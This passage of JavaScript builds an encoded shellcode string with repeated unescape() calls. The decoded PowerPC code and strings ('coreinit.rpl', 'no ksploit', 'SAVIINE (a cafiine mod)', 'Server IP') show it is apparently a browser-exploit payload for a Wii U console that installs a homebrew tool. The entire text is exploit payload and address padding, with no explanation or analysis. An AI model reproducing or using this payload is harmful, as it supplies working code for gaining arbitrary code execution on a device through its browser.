str += unescape("%u3920%u0002%u7fc3%uf378%u3881%u0008%u38a0%u0005%u9921%u0008%u93a1%u0009%u4bff%ufad5%u2f83%u0000%u419c%u0078%u7fc3%uf378%u3881%u0010%u38a0%u0001%u4bff%ufb51%u2f83%u0000%u419c%u0060%u8921%u0010");
str += unescape("%u2b89%u00ff%u419e%u0054%u7fc3%uf378%u7f84%ue378%u38a0%u0004%u4bff%ufb2d%u2f83%u0000%u419c%u003c%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%u0000");
str += unescape("%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%uffff%u83a1%u001c%u83c1%u0020");
str += unescape("%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c7c%u1b78%u813f%u0000%u93a1%u001c%u7c9d%u2378%u8149%u0284");
str += unescape("%u93c1%u0020%u7cbe%u2b78%u2f8a%u0000%u419e%u0018%u4bf7%u333d%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u7f83%ue378%u9149%u0284%u3881%u0008%u3920%u000c%u38a0%u0009%u9921%u0008");
str += unescape("%u93a1%u0009%u93c1%u000d%u4bff%uf9a5%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020");
str += unescape("%u2f83%uffff%u7c08%u02a6%u9421%uffe0%u9381%u0010%u7c7c%u1b78%u93e1%u001c%u7c3f%u0b78%u9001%u0024%u9361%u000c%u93a1%u0014%u93c1%u0018%u419e%u00dc%u3fa0%u1000%u7c9e%u2378%u63bd%u00e4%u7cbb%u2b78");
str += unescape("%u813d%u0000%u8149%u0284%u2f8a%u0000%u419e%u0018%u4bf7%u327d%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u391e%uffff%u9149%u0284%u3920%u0000%u4800%u0008%u7d49%u5378%u8ce8%u0001");
str += unescape("%u3949%u0001%u2f87%u0000%u409e%ufff0%u3909%u0015%u80e1%u0000%u5508%u0036%u7d46%u5379%u7d08%u00d0%u7c3d%u0b78%u7ce1%u416e%u38a9%u0006%u7cc9%u03a6%u3920%u0000%u3881%u0008%u9b61%u0008%u9144%u0001");
str += unescape("%u4081%u0070%u7d1e%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0005%u4200%ufff0%u3920%u0000%u7f83%ue378%u992a%u0006%u4bff%uf889%u3d40%u1000%u614a%u00e4%u8121%u0000%u814a%u0000%u913d%u0000%u3920%u0000");
str += unescape("%u912a%u0284%u7fa1%ueb78%u397f%u0020%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%uff8c%u3d20%u011e");
str += unescape("%u8129%uf28c%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf290%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf294%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000");
str += unescape("%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf298%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0");
str += unescape("%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u71e5%u3d20%u011e%u8001%u0014%u8129%uf298%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6");
str += unescape("%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf29c%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6");
str += unescape("%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u7155%u3d20%u011e%u8001%u0014%u8129%uf29c%u83e1%u000c%u7c08%u03a6");
str += unescape("%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf2a0%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u3d40%u0a00%u8129%u0000%u7c7f%u1b78");
str += unescape("%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u5463%u103a%u7c69%u1a14%u4bff%uf7bd%u8001%u0014%u7fe3%ufb78%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u7c08%u02a6%u3d20%u011e%u9421%ufff0");
str += unescape("%u8129%uf2a4%u93c1%u0008%u7c7e%u1b78%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u7c7f%u1b78%u80e9%u0000%u3d20%u0a00%u7f87%u4800%u419e%u005c%u2f83%u0000%u419c%u0054");
str += unescape("%u3900%u0020%u3947%u007c%u3920%u0000%u7d09%u03a6%u4800%u000c%u3929%u0001%u4240%u0038%u850a%u0004%u2f88%u0000%u409e%ufff0%u3949%u0020%u3929%u0040%u554a%u103a%u5529%u103a%u7fc7%u512e%u3d40%u1000");
str += unescape("%u614a%u00e4%u806a%u0000%u7c63%u4a14%u4bff%uf709%u8001%u0014%u7fe3%ufb78%u83c1%u0008%u7c08%u03a6%u83e1%u000c%u3821%u0010%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u3d40%u0a00%u6129%u00e4");
str += unescape("%u93e1%u000c%u9001%u0014%u7c7f%u1b78%u8129%u0000%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u546a%u103a%u7c69%u502e%u4bff%uf7a9%u3d20%u011e%u8001%u0014%u8129%uf2a8%u7fe3%ufb78%u7c08%u03a6");
str += unescape("%u83e1%u000c%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u6129%u00e4%u93c1%u0008%u9001%u0014%u7c7e%u1b78%u93e1%u000c%u8109%u0000%u3d20%u0a00%u7f88%u4800%u419e%u0058");
str += unescape("%u3940%u0020%u3928%u007c%u3be0%u0000%u7d49%u03a6%u4800%u000c%u3bff%u0001%u4240%u003c%u8549%u0004%u7f9e%u5000%u409e%ufff0%u393f%u0040%u3bff%u0020%u5529%u103a%u57ff%u103a%u7c68%u482e%u4bff%uf715");
str += unescape("%u3d20%u1000%u6129%u00e4%u3940%u0000%u8129%u0000%u7d49%uf92e%u3d20%u011e%u8001%u0014%u8129%uf2ac%u7fc3%uf378%u83e1%u000c%u7c08%u03a6%u83c1%u0008%u7d29%u03a6%u3821%u0010%u4e80%u0420%u9421%ufd48");
str += unescape("%u7c08%u02a6%u3928%u0001%u92a1%u028c%u7cd5%u3378%u9301%u0298%u7c98%u2378%u9361%u02a4%u7ca4%u2b78%u93e1%u02b4%u7cfb%u3b78%u7cbf%u2b78%u38e0%uffff%u7cc5%u3378%u38c1%u027c%u93c1%u02b0%u7c7e%u1b78");
str += unescape("%u9001%u02bc%u9281%u0288%u92c1%u0290%u92e1%u0294%u9321%u029c%u9341%u02a0%u9381%u02a8%u93a1%u02ac%u9101%u027c%u9121%u0278%u4be9%u0ad1%u2c03%u0000%u4082%u02f4%u3940%u0072%u3f80%u1000%u9941%u0280");
str += unescape("%u3b20%u002f%u9861%u0281%u3b40%u0000%u639c%u00e4%u571d%u103a%u3ec0%u1005%u3ee0%u100b%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c1%u0008%u38e0%uffff%u4be9%u0b79%u2f83%u0000%u409e%u01f8%u8975%u0000");
str += unescape("%u2f8b%u0000%u419e%u0294%u3981%u016b%u3920%u0000%u3929%u0001%u9d6c%u0001%u7d75%u48ae%u2f8b%u0000%u409e%ufff0%u3989%u0001%u8961%u006c%u3941%u0008%u7d2a%u4a14%u2f8b%u0000%u9b29%u0164%u419e%u0028");
str += unescape("%u3921%u016c%u38cc%uffff%u7cc9%u3214%u3921%u006c%u9d66%u0001%u398c%u0001%u8d69%u0001%u2f8b%u0000%u409e%ufff0%u3941%u0008%u3881%u016c%u7d8a%u6214%u38a0%u00fb%u9b4c%u0164%u813c%u0000%u7c69%ue82e");
str += unescape("%u4bff%ufa01%u8121%u0008%u2f89%u0000%u419c%u01bc%u3920%u0066%u9b41%u0270%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u006c%u9921%u026e%u3920%u0065%u9921%u026f%u3881%u026c%u38a0%u00fb%u813c%u0000");
str += unescape("%u7c69%ue82e%u4bff%uf9bd%u7fc3%uf378%u7fe4%ufb78%u38a1%u016c%u38c1%u0280%u38e1%u0278%u7f68%udb78%u4be9%u0285%u2f83%u0000%u41bc%ufef4%u813c%u0000%u3881%u016c%u38a0%u00fb%u7c69%ue82e%u4bff%uf985");
str += unescape("%u813c%u0000%u80c1%u0278%u7f04%uc378%u7c69%ue82e%u38a1%u016c%u4bff%uf509%u8136%ue9c0%u3860%u0000%u3880%u0040%u6063%uc800%u7d29%u03a6%u4e80%u0421%u7c74%u1b78%u4800%u0010%u80c1%u0278%u7c69%ue82e");
str += unescape("%u4bff%uf631%u8101%u0278%u38e0%u0000%u7fe4%ufb78%u7e85%ua378%u3920%u0000%u38c0%u0001%u60e7%uc800%u7f6a%udb78%u7fc3%uf378%u4be9%u0389%u7e84%ua378%u2f83%u0000%u7c65%u1b78%u9061%u0274%u813c%u0000");
str += unescape("%u419d%uffb8%u7c69%ue82e%u3881%u0274%u80a1%u0278%u4bff%uf70d%u80a1%u0278%u7f67%udb78%u7fe4%ufb78%u38c0%u0000%u7fc3%uf378%u4be9%u0771%u8137%u487c%u7e83%ua378%u7d29%u03a6%u4e80%u0421%u80a1%u0278");
str += unescape("%u7fe4%ufb78%u38c0%uffff%u7fc3%uf378%u4be9%u02a5%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c1%u0008%u38e0%uffff%u4be9%u0985%u2f83%u0000%u419e%ufe10%u80a1%u027c%u7fc3%uf378%u7fe4%ufb78%u38c0%u0000");
str += unescape("%u4be9%u08e9%u3860%u0000%u8001%u02bc%u8281%u0288%u7c08%u03a6%u82a1%u028c%u82c1%u0290%u82e1%u0294%u8301%u0298%u8321%u029c%u8341%u02a0%u8361%u02a4%u8381%u02a8%u83a1%u02ac%u83c1%u02b0%u83e1%u02b4");
str += unescape("%u3821%u02b8%u4e80%u0020%u3920%u0064%u9b41%u026f%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u0072%u9921%u026e%u3881%u026c%u38a0%u00fb%u813c%u0000%u7c69%ue82e%u4bff%uf80d%u8101%u0278%u7fc3%uf378");
str += unescape("%u7f04%uc378%u7fe5%ufb78%u38c1%u016c%u7f67%udb78%u4bff%ufcad%u4bff%ufd48%u3980%u0001%u3920%u0000%u4bff%ufd88%u3860%uffff%u4bff%uff60%u9421%ufea8%u7c08%u02a6%u3920%u0030%u38e0%u002f%u93e1%u0154");
str += unescape("%u3be0%u006c%u9001%u015c%u3800%u0076%u9be1%u010b%u3be0%u0073%u9921%u0115%u3900%u006f%u9921%u0116%u3940%u0000%u9921%u0117%u3960%u006d%u9921%u0118%u9921%u0119%u9921%u011a%u9921%u011b%u3920%u0063");
str += unescape("%u98e1%u0108%u9801%u0109%u98e1%u010c%u9be1%u010d%u3be0%u0061%u9801%u010f%u3800%u0065%u98e1%u0111%u38e0%u0038%u9921%u0120%u3920%u006e%u9341%u0140%u7c7a%u1b78%u9361%u0144%u7c9b%u2378%u9381%u0148");
str += unescape("%u7cbc%u2b78%u93a1%u014c%u7cdd%u3378%u93c1%u0150%u3bc0%u0000%u9901%u010a%u9941%u0112%u98e1%u0114%u38e1%u0109%u9941%u011c%u9901%u0121%u9321%u013c%u9be1%u010e%u9801%u0110%u9961%u0122%u9961%u0123");
str += unescape("%u9901%u0124%u3901%u0007%u9921%u0125%u3920%u0076%u9941%u0126%u3940%u002f%u4800%u0008%u8d27%u0001%u2f89%u0000%u9d48%u0001%u3bde%u0001%u7d2a%u4b78%u409e%uffec%u3921%u0008%u3b3e%uffff%u7f29%uca14");
str += unescape("%u38c1%u0115%u7f27%ucb78%u7fca%uf378%u3920%u0030%u3900%u0038%u4800%u0008%u8d26%u0001%u2f89%u0000%u9d07%u0001%u394a%u0001%u7d28%u4b78%u409e%uffec%u7d41%u5214%u3be0%u0001%u992a%u0008%u4800%u0028");
str += unescape("%u2f89%u0009%u3949%u0057%u9901%u0018%u3929%u0030%u419d%u005c%u2f9f%u0100%u9921%u0019%u3bff%u0001%u419e%u005c%u3900%u0032%u7f43%ud378%u7fa4%ueb78%u7f65%udb78%u38c1%u0008%u7f87%ue378%u4bff%ufb01");
str += unescape("%u7fe9%u2670%u2f89%u0009%u3949%u0057%u3909%u0030%u57e9%u073e%u40bd%uffac%u2f89%u0009%u9941%u0018%u3949%u0057%u3929%u0030%u40bd%uffac%u2f9f%u0100%u9941%u0019%u3bff%u0001%u409e%uffac%u3901%u0121");
str += unescape("%u7f2a%ucb78%u3be0%u006f%u3920%u0063%u4800%u0008%u8fe8%u0001%u2f9f%u0000%u9d2a%u0001%u3bde%u0001%u7fe9%ufb78%u409e%uffec%u7fc1%uf214%u3f20%u1000%u9bfe%u0008%u6339%u00e4%u57be%u103a%u3881%u0008");
str += unescape("%u8139%u0000%u38a0%u00fb%u7c69%uf02e%u4bff%uf5b5%u7fa4%ueb78%u7f65%udb78%u38c1%u0008%u7f87%ue378%u7f43%ud378%u3900%u003c%u4bff%ufa55%u3920%u0064%u9921%u0128%u3920%u006f%u9921%u0129%u3920%u006e");
str += unescape("%u9921%u012a%u3920%u0065%u9921%u012b%u3920%u0021%u9be1%u012d%u3881%u0128%u9921%u012c%u38a0%u00fb%u8139%u0000%u7c69%uf02e%u4bff%uf559%u8001%u015c%u8321%u013c%u7c08%u03a6%u8341%u0140%u8361%u0144");
str += unescape("%u8381%u0148%u83a1%u014c%u83c1%u0150%u83e1%u0154%u3821%u0158%u4e80%u0020%u7c08%u02a6%u9421%uffe0%u3d20%u1000%u6129%u00e4%u9381%u0010%u9001%u0024%u7cbc%u2b78%u93a1%u0014%u7cdd%u3378%u8169%u0000");
str += unescape("%u3d20%u0a00%u93c1%u0018%u7c9e%u2378%u7f8b%u4800%u93e1%u001c%u7c7f%u1b78%u419e%u0038%u3940%u0020%u392b%u007c%u38c0%u0000%u7d49%u03a6%u4800%u000c%u38c6%u0001%u4240%u001c%u8509%u0004%u7f9f%u4000");
str += unescape("%u409e%ufff0%u812b%u0280%u2f89%u0000%u419e%u0040%u3d20%u011e%u8001%u0024%u8129%uf2b0%u7fe3%ufb78%u7fc4%uf378%u83e1%u001c%u83c1%u0018%u7f85%ue378%u7fa6%ueb78%u8381%u0010%u83a1%u0014%u7d29%u03a6");
str += unescape("%u3821%u0020%u7c08%u03a6%u4e80%u0420%u7fe3%ufb78%u7fc4%uf378%u7ce5%u3b78%u90e1%u0008%u4bff%ufc91%u3d20%u1000%u6129%u00e4%u3940%u0002%u8129%u0000%u7fe3%ufb78%u8001%u0024%u7fc4%uf378%u9149%u0280");
str += unescape("%u3d20%u011e%u8129%uf2b0%u7f85%ue378%u80e1%u0008%u7fa6%ueb78%u8381%u0010%u7d29%u03a6%u83a1%u0014%u83c1%u0018%u7c08%u03a6%u83e1%u001c%u3821%u0020%u4e80%u0420%u0000%u0000%u0000%u0000%u0000%u0000");
str += unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u12b4%u636f%u7265%u696e%u6974%u2e72%u706c%u0000%u0000%u5f45%u7869%u7400%u0000%u4443%u466c%u7573%u6852");
str += unescape("%u616e%u6765%u0000%u0000%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u0000%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u205f%u4578%u6974%u2e0a%u0000%u0000%u4173%u7365");
str += unescape("%u7274%u696f%u6e20%u6661%u696c%u6564%u2044%u4346%u6c75%u7368%u5261%u6e67%u652e%u0a00%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u204f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963");
str += unescape("%u616c%u2e0a%u0000%u0000%u6e6f%u206b%u7370%u6c6f%u6974%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363");
str += unescape("%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u0000");
str += unescape("%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000%u2d2d%u2053%u4156%u4949%u4e45%u2028%u6120%u6361%u6669%u696e");
str += unescape("%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665%u7220%u4950%u0000%u0000%u322e%u2050%u7265%u7373%u2041%u2074");
str += unescape("%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00%u7676%u7600%u0000%u1eb0%u0000%u1eb4%u0000%u1eb8%u0000%u1ebc");
str += unescape("%u0000%u1ec0%u0000%u1ec4%u0000%u1ec8%u0000%u1ecc%u0000%u1ed0%u0000%u1ed4%u0000%u1ed8%u0000%u1edc%u0000%u1ee0%u0000%u1ee4%u0000%u1ee8%u0000%u1eec%u0000%u1ef0%u0000%u1ef4%u0000%u1ef8%u0000%u1efc");
str += unescape("%u0000%u1f00%u0000%u1f04%u0000%u1f08%u0000%u1f0c%u0000%u1f10%u0000%u1f14%u0000%u1f18%u0000%u1f1c%u0000%u1f20%u0000%u1f24%u0000%u1f28%u0000%u1f2c%u0000%u1f30%u0000%u1f34%u0000%u1f38%u0000%u1f3c");
str += unescape("%u0000%u1f40%u0000%u1f44%u0000%u1f48%u0000%u1f4c%u0000%u1f50%u0000%u1f54%u0000%u1f58%u0000%u1f5c%u0000%u1f60%u0000%u1f64%u0000%u1f68%u0000%u1f6c%u0000%u1f70%u0000%u1f74%u0000%u1f78%u0000%u1f7c");
str += unescape("%u0000%u1f80%u0000%u1f84%u0000%u1f88%u0000%u1f8c%u0000%u1f90%u0000%u1f94%u0000%u1f98%u0000%u1f9c%u0000%u1fa0%u0000%u1fa4%u0000%u1fa8%u0000%u1fac%u0000%u1fb0%u0000%u1fb4%u0000%u1fb8%u0000%u1fbc");
str += unescape("%u0000%u1fc0%u0000%u1fc4%u0000%u1fc8%u0000%u1fcc%u0000%u1fd0%u0000%u1fd4%u0000%u1fd8%u0000%u1fdc%u0000%u1fe0%u0000%u1fe4%u0000%u1fe8%u0000%u1fec%u0000%u1ff0%u0000%u1ff4%u0000%u1ff8%u0000%u1ffc");
str += unescape("%u0000%u2000%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c");
str += unescape("%u0000%u2040%u0000%u2044%u0000%u2048%u0000%u204c%u0000%u2050%u0000%u2054%u0000%u2058%u0000%u205c%u0000%u2060%u0000%u2064%u0000%u2068%u0000%u206c%u0000%u2070%u0000%u2074%u0000%u2078%u0000%u207c");
str += unescape("%u0000%u2080%u0000%u2084%u0000%u2088%u0000%u208c%u0000%u2090%u0000%u2094%u0000%u2098%u0000%u209c%u0000%u20a0%u0000%u20a4%u0000%u20a8%u0000%u20ac%u0000%u20b0%u0000%u20b4%u0000%u20b8%u0000%u20bc");
str += unescape("%u0000%u20c0%u0000%u20c4%u0000%u20c8%u0000%u20cc%u0000%u20d0%u0000%u20d4%u0000%u20d8%u0000%u20dc%u0000%u20e0%u0000%u20e4%u0000%u20e8%u0000%u20ec%u0000%u20f0%u0000%u20f4%u0000%u20f8%u0000%u20fc");
str += unescape("%u0000%u2100%u0000%u2104%u0000%u2108%u0000%u210c%u0000%u2110%u0000%u2114%u0000%u2118%u0000%u211c%u0000%u2120%u0000%u2124%u0000%u2128%u0000%u212c%u0000%u2130%u0000%u2134%u0000%u2138%u0000%u213c");
str += unescape("%u0000%u2140%u0000%u2144%u0000%u2148%u0000%u214c%u0000%u2150%u0000%u2154%u0000%u2158%u0000%u215c%u0000%u2160%u0000%u2164%u0000%u2168%u0000%u216c%u0000%u2170%u0000%u2174%u0000%u2178%u0000%u217c");
str += unescape("%u0000%u2180%u0000%u2184%u0000%u2188%u0000%u218c%u0000%u2190%u0000%u2194%u0000%u2198%u0000%u219c%u0000%u21a0%u0000%u21a4%u0000%u21a8%u0000%u21ac%u0000%u21b0%u0000%u21b4%u0000%u21b8%u0000%u21bc");
str += unescape("%u0000%u21c0%u0000%u21c4%u0000%u21c8%u0000%u21cc%u0000%u21d0%u0000%u21d4%u0000%u21d8%u0000%u21dc%u0000%u21e0%u0000%u21e4%u0000%u21e8%u0000%u21ec%u0000%u21f0%u0000%u21f4%u0000%u21f8%u0000%u21fc");
str += unescape("%u0000%u2200%u0000%u2204%u0000%u2208%u0000%u220c%u0000%u2210%u0000%u2214%u0000%u2218%u0000%u221c%u0000%u2220%u0000%u2224%u0000%u2228%u0000%u222c%u0000%u2230%u0000%u2234%u0000%u2238%u0000%u223c");
str += unescape("%u0000%u2240%u0000%u2244%u0000%u2248%u0000%u224c%u0000%u2250%u0000%u2254%u0000%u2258%u0000%u225c%u0000%u2260%u0000%u2264%u0000%u2268%u0000%u226c%u0000%u2270%u0000%u2274%u0000%u2278%u0000%u227c");
str += unescape("%u0000%u2280%u0000%u2284%u0000%u2288%u0000%u228c%u0000%u2290%u0000%u2294%u0000%u2298%u0000%u229c%u0000%u22a0%u0000%u22a4%u0000%u22a8%u0000%u22ac%u0000%u22b0%u0000%u22b4%u0000%u22b8%u0000%u22bc");
str += unescape("%u0000%u22c0%u0000%u22c4%u0000%u22c8%u0000%u22cc%u0000%u22d0%u0000%u22d4%u0000%u22d8%u0000%u22dc%u0000%u22e0%u0000%u22e4%u0000%u22e8%u0000%u22ec%u0000%u22f0%u0000%u22f4%u0000%u22f8%u0000%u22fc");
str += unescape("%u0000%u2300%u0000%u2304%u0000%u2308%u0000%u230c%u0000%u2310%u0000%u2314%u0000%u2318%u0000%u231c%u0000%u2320%u0000%u2324%u0000%u2328%u0000%u232c%u0000%u2330%u0000%u2334%u0000%u2338%u0000%u233c");
str += unescape("%u0000%u2340%u0000%u2344%u0000%u2348%u0000%u234c%u0000%u2350%u0000%u2354%u0000%u2358%u0000%u235c%u0000%u2360%u0000%u2364%u0000%u2368%u0000%u236c%u0000%u2370%u0000%u2374%u0000%u2378%u0000%u237c");
str += unescape("%u0000%u2380%u0000%u2384%u0000%u2388%u0000%u238c%u0000%u2390%u0000%u2394%u0000%u2398%u0000%u239c%u0000%u23a0%u0000%u23a4%u0000%u23a8%u0000%u23ac%u0000%u23b0%u0000%u23b4%u0000%u23b8%u0000%u23bc");
str += unescape("%u0000%u23c0%u0000%u23c4%u0000%u23c8%u0000%u23cc%u0000%u23d0%u0000%u23d4%u0000%u23d8%u0000%u23dc%u0000%u23e0%u0000%u23e4%u0000%u23e8%u0000%u23ec%u0000%u23f0%u0000%u23f4%u0000%u23f8%u0000%u23fc");
str += unescape("%u0000%u2400%u0000%u2404%u0000%u2408%u0000%u240c%u0000%u2410%u0000%u2414%u0000%u2418%u0000%u241c%u0000%u2420%u0000%u2424%u0000%u2428%u0000%u242c%u0000%u2430%u0000%u2434%u0000%u2438%u0000%u243c");
str += unescape("%u0000%u2440%u0000%u2444%u0000%u2448%u0000%u244c%u0000%u2450%u0000%u2454%u0000%u2458%u0000%u245c%u0000%u2460%u0000%u2464%u0000%u2468%u0000%u246c%u0000%u2470%u0000%u2474%u0000%u2478%u0000%u247c");
str += unescape("%u0000%u2480%u0000%u2484%u0000%u2488%u0000%u248c%u0000%u2490%u0000%u2494%u0000%u2498%u0000%u249c%u0000%u24a0%u0000%u24a4%u0000%u24a8%u0000%u24ac%u0000%u24b0%u0000%u24b4%u0000%u24b8%u0000%u24bc");
str += unescape("%u0000%u24c0%u0000%u24c4%u0000%u24c8%u0000%u24cc%u0000%u24d0%u0000%u24d4%u0000%u24d8%u0000%u24dc%u0000%u24e0%u0000%u24e4%u0000%u24e8%u0000%u24ec%u0000%u24f0%u0000%u24f4%u0000%u24f8%u0000%u24fc");
str += unescape("%u0000%u2500%u0000%u2504%u0000%u2508%u0000%u250c%u0000%u2510%u0000%u2514%u0000%u2518%u0000%u251c%u0000%u2520%u0000%u2524%u0000%u2528%u0000%u252c%u0000%u2530%u0000%u2534%u0000%u2538%u0000%u253c");
str += unescape("%u0000%u2540%u0000%u2544%u0000%u2548%u0000%u254c%u0000%u2550%u0000%u2554%u0000%u2558%u0000%u255c%u0000%u2560%u0000%u2564%u0000%u2568%u0000%u256c%u0000%u2570%u0000%u2574%u0000%u2578%u0000%u257c");
str += unescape("%u0000%u2580%u0000%u2584%u0000%u2588%u0000%u258c%u0000%u2590%u0000%u2594%u0000%u2598%u0000%u259c%u0000%u25a0%u0000%u25a4%u0000%u25a8%u0000%u25ac%u0000%u25b0%u0000%u25b4%u0000%u25b8%u0000%u25bc");
str += unescape("%u0000%u25c0%u0000%u25c4%u0000%u25c8%u0000%u25cc%u0000%u25d0%u0000%u25d4%u0000%u25d8%u0000%u25dc%u0000%u25e0%u0000%u25e4%u0000%u25e8%u0000%u25ec%u0000%u25f0%u0000%u25f4%u0000%u25f8%u0000%u25fc");
str += unescape("%u0000%u2600%u0000%u2604%u0000%u2608%u0000%u260c%u0000%u2610%u0000%u2614%u0000%u2618%u0000%u261c%u0000%u2620%u0000%u2624%u0000%u2628%u0000%u262c%u0000%u2630%u0000%u2634%u0000%u2638%u0000%u263c");
str += unescape("%u0000%u2640%u0000%u2644%u0000%u2648%u0000%u264c%u0000%u2650%u0000%u2654%u0000%u2658%u0000%u265c%u0000%u2660%u0000%u2664%u0000%u2668%u0000%u266c%u0000%u2670%u0000%u2674%u0000%u2678%u0000%u267c");
str += unescape("%u0000%u2680%u0000%u2684%u0000%u2688%u0000%u268c%u0000%u2690%u0000%u2694%u0000%u2698%u0000%u269c%u0000%u26a0%u0000%u26a4%u0000%u26a8%u0000%u26ac%u0000%u26b0%u0000%u26b4%u0000%u26b8%u0000%u26bc");
str += unescape("%u0000%u26c0%u0000%u26c4%u0000%u26c8%u0000%u26cc%u0000%u26d0%u0000%u26d4%u0000%u26d8%u0000%u26dc%u0000%u26e0%u0000%u26e4%u0000%u26e8%u0000%u26ec%u0000%u26f0%u0000%u26f4%u0000%u26f8%u0000%u26fc");
str += unescape("%u0000%u2700%u0000%u2704%u0000%u2708%u0000%u270c%u0000%u2710%u0000%u2714%u0000%u2718%u0000%u271c%u0000%u2720%u0000%u2724%u0000%u2728%u0000%u272c%u0000%u2730%u0000%u2734%u0000%u2738%u0000%u273c");
str += unescape("%u0000%u2740%u0000%u2744%u0000%u2748%u0000%u274c%u0000%u2750%u0000%u2754%u0000%u2758%u0000%u275c%u0000%u2760%u0000%u2764%u0000%u2768%u0000%u276c%u0000%u2770%u0000%u2774%u0000%u2778%u0000%u277c");
str += unescape("%u0000%u2780%u0000%u2784%u0000%u2788%u0000%u278c%u0000%u2790%u0000%u2794%u0000%u2798%u0000%u279c%u0000%u27a0%u0000%u27a4%u0000%u27a8%u0000%u27ac%u0000%u27b0%u0000%u27b4%u0000%u27b8%u0000%u27bc");
str += unescape("%u0000%u27c0%u0000%u27c4%u0000%u27c8%u0000%u27cc%u0000%u27d0%u0000%u27d4%u0000%u27d8%u0000%u27dc%u0000%u27e0%u0000%u27e4%u0000%u27e8%u0000%u27ec%u0000%u27f0%u0000%u27f4%u0000%u27f8%u0000%u27fc");
str += unescape("%u0000%u2800%u0000%u2804%u0000%u2808%u0000%u280c%u0000%u2810%u0000%u2814%u0000%u2818%u0000%u281c%u0000%u2820%u0000%u2824%u0000%u2828%u0000%u282c%u0000%u2830%u0000%u2834%u0000%u2838%u0000%u283c");
str += unescape("%u0000%u2840%u0000%u2844%u0000%u2848%u0000%u284c%u0000%u2850%u0000%u2854%u0000%u2858%u0000%u285c%u0000%u2860%u0000%u2864%u0000%u2868%u0000%u286c%u0000%u2870%u0000%u2874%u0000%u2878%u0000%u287c");
